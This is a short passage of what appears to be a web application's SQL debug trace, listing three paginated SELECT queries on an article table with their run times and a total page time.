  13. SELECT * FROM `article` WHERE `id` < 487284 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.016741s ]
  14. SELECT * FROM `article` WHERE `id` < 487284 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.080300s ]
  15. SELECT * FROM `article` WHERE `id` < 487284 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.002717s ]
0.310311s